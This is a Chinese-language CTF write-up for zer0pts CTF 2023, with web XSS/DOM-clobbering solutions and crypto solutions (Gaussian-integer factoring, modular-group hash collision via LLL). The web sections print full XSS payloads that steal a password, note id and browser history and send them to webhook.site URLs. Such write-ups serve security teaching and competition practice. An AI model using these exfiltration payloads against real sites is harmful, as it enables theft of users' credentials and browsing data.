zer0pts CTF 2023 Writeups

今年和 Balsn 一起打 zer0pts CTF,有解了些 Web 和 Crypto 的題目。

Web

Neko Note

關鍵部分的 code 在這段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var linkPattern = regexp.MustCompile(`\[([0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[0-9a-f]{4}-[0-9a-f]{12})\]`)

// replace [(note ID)] to links
func replaceLinks(note string) string {
return linkPattern.ReplaceAllStringFunc(note, func(s string) string {
id := strings.Trim(s, "[]")

note, ok := notes[id]
if !ok {
return s
}

title := html.EscapeString(note.Title)
return fmt.Sprintf(
"<a href=/note/%s title=%s>%s</a>", id, title, title,
)
})
}

// escape note to prevent XSS first, then replace newlines to <br> and render links
func renderNote(note string) string {
note = html.EscapeString(note)
note = strings.ReplaceAll(note, "\n", "<br>")
note = replaceLinks(note)
return note
}

其中 note 可控,而這段的內容會在前端使用 innerHTML 塞進去,所以要想辦法 XSS。這邊關鍵在於 html.EscapeString 只 escape 五個字元 < > & ' ",而它塞 a tag 的地方沒有 quote 起來,所以可以給 a 注入任意 attribute。

參考 XSS cheatsheet 可知有很多 attribute 可以用,但不需要 user interaction 的只有幾個而已。其中有一個是

1
<a id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></a>

但前端部分是需要 bot 按下按鈕之後才會觸發 innerHTML 的 assignment,所以這個無法觸發。不過後來發現其實用 onmouseover 或是 onpointerover 之類的 event 就行了,因為 await page.click('button'); 似乎是直接抓 element 的 x, y 座標,然後點下去之後就不再移動 (至少 playwright 是這樣),因此只要 a 元素夠大,和按鈕的部分有重疊就能觸發。因此 x onmouseover=alert(origin) 即可 XSS。

這樣雖然已經可以取得 flag note 的 id,但還沒有密碼。這部分需要看 bot 的 code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// post a note that has the flag
await page.goto(`${BASE_URL}/`);

await page.type('#title', 'Flag');
await page.type('#body', `The flag is: ${FLAG}`);
const password = crypto.randomBytes(64).toString('base64');
await page.type('#password', password);

await page.click('#submit');

// let's check the reported note
await page.goto(`${BASE_URL}/note/${id}`);
if (await page.$('input') != null) {
// the note is locked, so use master key to unlock
await page.type('input', MASTER_KEY);
await page.click('button');

// just in case there is a vuln like XSS, delete the password to prevent it from being stolen
const len = (await page.$eval('input', el => el.value)).length;
await page.focus('input');
for (let i = 0; i < len; i++) {
await page.keyboard.press('Backspace');
}
}

// it's ready now. click "Show the note" button
await page.click('button');

// done!
await wait(1000);

簡單來說 bot 只要檢測到 note 被鎖住,就會用 master key 解鎖,然後把密碼刪掉。而我們的 XSS 會在最下面那個 await page.click('button'); 之後才會觸發,所以這時候 master key 已經被刪掉了。

這邊的技巧是透過 document.execCommand('undo') 把密碼還原回來,之後再從 DOM 中抓密碼就有了。

完整 payload:

1
xxxxxxxxxxxxxxxxxxxx onmouseover=document.execCommand(`undo`);pwd=document.querySelector(`input`).value;id=JSON.parse(localStorage.getItem(`neko-note-history`))[0].id;location=`https://webhook.site/9a5f00d1-194c-46af-b09a-b488a79d2787?id=`+id+`&pwd=`+pwd

Flag: zer0pts{neko_no_te_mo_karitai_m8jYx9WiTDY}

ScoreShare

這題看起來是 dom clobbering 的題目,不過有個很大的 unintended solution XDDD。關鍵在這邊:

1
2
3
4
5
6
7
@app.route("/api/score/<sid>")
def api_score(sid: str):
abc = db().hget(sid, 'abc')
if abc is None:
return flask.abort(404)
else:
return flask.Response(abc)

這邊 abc 內容是完全可控的,然後網站也有 CSP script-src 'self'。所以這邊就先建一個 score 讓內容為 js fetch(...) 之類的,然後再建另一個 score 讓用 html <script src=/api/score/...></script> 引入就能不管 CSP 直接 XSS 了。

Flag: zer0pts{<iframe>_1s_a_s7r0ng_t00l_f0r_D0M_cl0bb3r1ng}

Ringtone

有個網站幾乎沒做什麼事,除了有個靜態頁面以外就只有一個隱藏的 flag route 而已。主要部分都在 chrome extension 的部分。

它有個 content script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var form=document.getElementById("ring-form");
form.addEventListener("submit",
async (evt)=>{
evt.preventDefault();
var val=form.elements["message"].value;
console.log(val)
const response = await chrome.runtime.sendMessage({play:"play"})
if(response.text=="played successfully"){
console.log("yattaa")
}
}
)

chrome.runtime.onMessage.addListener(function (msg, sender, sendResponse) {
if (msg.text === 'report_back') {
console.log("msg received")
if(users.privileged.dataset.admin){
sendResponse(users.privileged.dataset.admin)
}
}
});

而那個 chrome extension 本身還有個 index.html 引入了這個 js:

1
2
3
4
5
6
7
8
9
10
11
function evalCode(code) {
const script = document.createElement('script');
script.src = '/?code=' +code;
document.documentElement.appendChild(script);
}
chrome.tabs.onUpdated.addListener(function (tabId,tab) {
console.log(tabId)
chrome.tabs.sendMessage(tabId, {text: 'report_back'}).then((resp)=>{
evalCode(resp)
})
});

而那個 /?code= 的部分則透過 background script 去處理,基本上就事直接 echo:

1
2
3
4
5
6
7
8
const prefix = location.origin + '/?code=';
self.onfetch= e => {
if (e.clientId && e.request.url.startsWith(prefix)) {
e.respondWith(new Response(e.request.url.slice(prefix.length), {
headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' },
}));
}
};

而 bot 一開始會開四個頁面,包含網站首頁、插件的 index.html、flag 頁面和你所 submit 的 url。而 chrome.tabs.onUpdated 在有新分頁開啟時會觸發,所以在這個場景是自動觸發的,因此它會讓 content script 嘗試去讀取 users.privileged.dataset.admin,然後送回去 index.html 頁面 eval。

同時那個靜態頁面上也有 document.getElementById("msg").innerHTML=DOMPurify.sanitize(inp,options),所以可以用 dom clobbering 去改 users.privileged.dataset.admin 的值:

1
2
<div id="users"></div>
<div id="privileged" data-admin="alert(1)"></div>

然後現在相當於有 chrome extension 環境的任意 code 執行了,而 manifest 有 "permissions":["history","activeTab","tabs"],因此可以直接讀 history 找到 flag 頁面的 url。

具體要執行的 js 不能有空白,弄一弄會變成這樣:

1
chrome.history.search({text:``},function(hist){u=`https://webhook.site/f71604a4-fc9b-4c99-9e0f-366529a29ac7`;navigator.sendBeacon(u,JSON.stringify(hist,null,2));for(let{url}of[hist][0]){fetch(url).then(function(r){return[r.text()][0]}).then(function(t){navigator.sendBeacon(u,t)})}})

全部串起來變成:

1
http://ringtone.2023.zer0pts.com:8505/?message=%3Cdiv%20id=users%3Ea%3C/div%3E%3Cdiv%20id=users%20name=privileged%20data-admin=%22chrome.history.search({text:``},function(hist){u=`https://webhook.site/f71604a4-fc9b-4c99-9e0f-366529a29ac7`;navigator.sendBeacon(u,JSON.stringify(hist,null,2));for(let{url}of[hist][0]){fetch(url).then(function(r){return[r.text()][0]}).then(function(t){navigator.sendBeacon(u,t)})}})%22%3Ea%3C/div%3E

Flag: zer0pts{extensions_are_really_muzukashi}

Crypto

*easy_factoring

隊友解的,後來自己再做一次

給予 ,求 兩質數,大概都 128 bits。

關鍵是注意到 ,所以在 Gaussian integers 上分解後求所有的 divisors 就能找到 形式的,也就有解了。

1
2
3
4
5
6
7
8
9
p = random_prime(1 << 128)
q = random_prime(1 << 128)
n = p * q
N = pow(p, 2) + pow(q, 2)
zn = ZZ[i](N)
for d in divisors(ZZ[i](N)):
pp, qq = map(int, d)
if is_prime(pp) and is_prime(qq):
print("yes", pp, qq)

moduhash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import os

flag = os.environb.get(b"FLAG", b"dummmmy{test_test_test}")

def S(z):
return -1/z

def T(z):
return z + 1

def gen_random_hash(n):
r = bytes([getrandbits(8) for _ in range(0, n)])
return r

def to_hash(st):
res = ""
for s in st:
sts = bin(s)[2:].zfill(8)
for x in sts:
if x == "0":
res += "S"
else:
res += "T"
return res

def hash(z, h):
res = z
for s in h:
if s == "S":
res = S(res)
elif s == "T":
res = T(res)
else:
exit()
return res

def hash_eq(h1, h2, CC):
for _ in range(100):
zr = CC.random_element()
h1zr = hash(zr, h1)
h2zr = hash(zr, h2)
if abs(h1zr - h2zr) > 1e-15:
return False
return True

CC = ComplexField(256)
for _ in range(100):
n = randint(32, 64)
h1 = to_hash(gen_random_hash(n))

zi = CC.random_element()
print(f"zi : {zi}")
print(f"h1(zi): {hash(zi, h1)}")

h2 = input("your hash> ")

if not hash_eq(h1, h2, CC):
print("your hash is incorrect")
exit()

print(flag)

這題會先生成一個由 ST 組成的字串,然後 hash 函數會接收那個字串和一個複數 ,然後根據字串裡的 ST 反覆套用 函數後回傳。其中

目標是它會給你一個輸入和輸出,要找出另一個字串可以對任何複數套用那個 hash 都能有一樣的結果。

查了一下知道這個東西是 Modular group,就是一堆

組合合成的一個群,其中 ,也同時能寫成矩陣形式:

而在它的 Group-theoretic properties 就能看到上面的那兩個 transform,而據它所說整個 modular group 都能由這兩個所生成。而 zih1(zi) 中間所經過的操作是一堆的 ,所以可知 應該可以用某個長這個形式的函數表達出來:

所以有 ,然後用 LLL 可求一個夠小的 出來。因此現在的問題是怎麼把

拆成很多 的乘積,其中

這邊我是參考 Decomposition of modular group elements 寫了一個演算法出來,不過遇到的一個小問題是它裡面的 不一定為正數,但字串的表達形式卻要求他一定要為正,所以只好自己小改了些東西才行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import process, remote, context

CC = ComplexField(256)


def find(z, zz):
# (az+b)/(cz+d)=zz
# az+b=zz(cz+d)=c*z*zz+d*zz
zzz = z * zz
L = matrix(
QQ,
[
[z.real(), z.imag(), 1, 0, 0, 0],
[1, 0, 0, 1, 0, 0],
[-zzz.real(), -zzz.imag(), 0, 0, 1, 0],
[-zz.real(), -zz.imag(), 0, 0, 0, 1],
],
)
L[:, :2] *= 2**256
L = L.LLL()
return L[0][2:]


def positive_mod(x, y):
r = x % y
if r < 0:
r -= y
return r


def decompose(a, b, c, d):
M = matrix(ZZ, [[a, b], [c, d]])
S = matrix(ZZ, [[0, -1], [1, 0]])
T = matrix(ZZ, [[1, 1], [0, 1]])

M0 = M
res = []
res_s = ""
for _ in range(200):
# print(M)
if M[0, 0] == 0 or M[1, 0] == 0:
break
while abs(M[1, 0]) > abs(M[0, 0]):
M = ~S * M
res.append(S)
res_s += "S"
while sign(M[0, 0]) != sign(M[1, 0]):
M = ~S * M
res.append(S)
res_s += "S"
a = M[0, 0]
c = M[1, 0]
r = positive_mod(a, c)
q = (a - r) // c
# print(a, c)
# print(r, q)
# print()
M = T ^ (-q) * M
res.append(T ^ q)
assert q >= 0, ":("
res_s += "T" * int(q)

assert prod(res) * M == M0
return res, res_s[::-1]


# io = process(["sage", "server.sage"])
io = remote("crypto.2023.zer0pts.com", int(10444))

for i in range(100):
io.recvuntil(b"zi\t: ")
zi = CC(io.recvlineS().strip())
io.recvuntil(b"h1(zi): ")
h1zi = CC(io.recvlineS().strip())
print(i, zi, h1zi)
a, b, c, d = find(zi, h1zi)
_, h2 = decompose(a, b, c, d)
print(h2)
io.sendlineafter(b"your hash> ", h2)
io.interactive()
# zer0pts{Th3_m0dul4r_gr0up_1s_g3n3r4t3d_by_4cti0ns_S_T}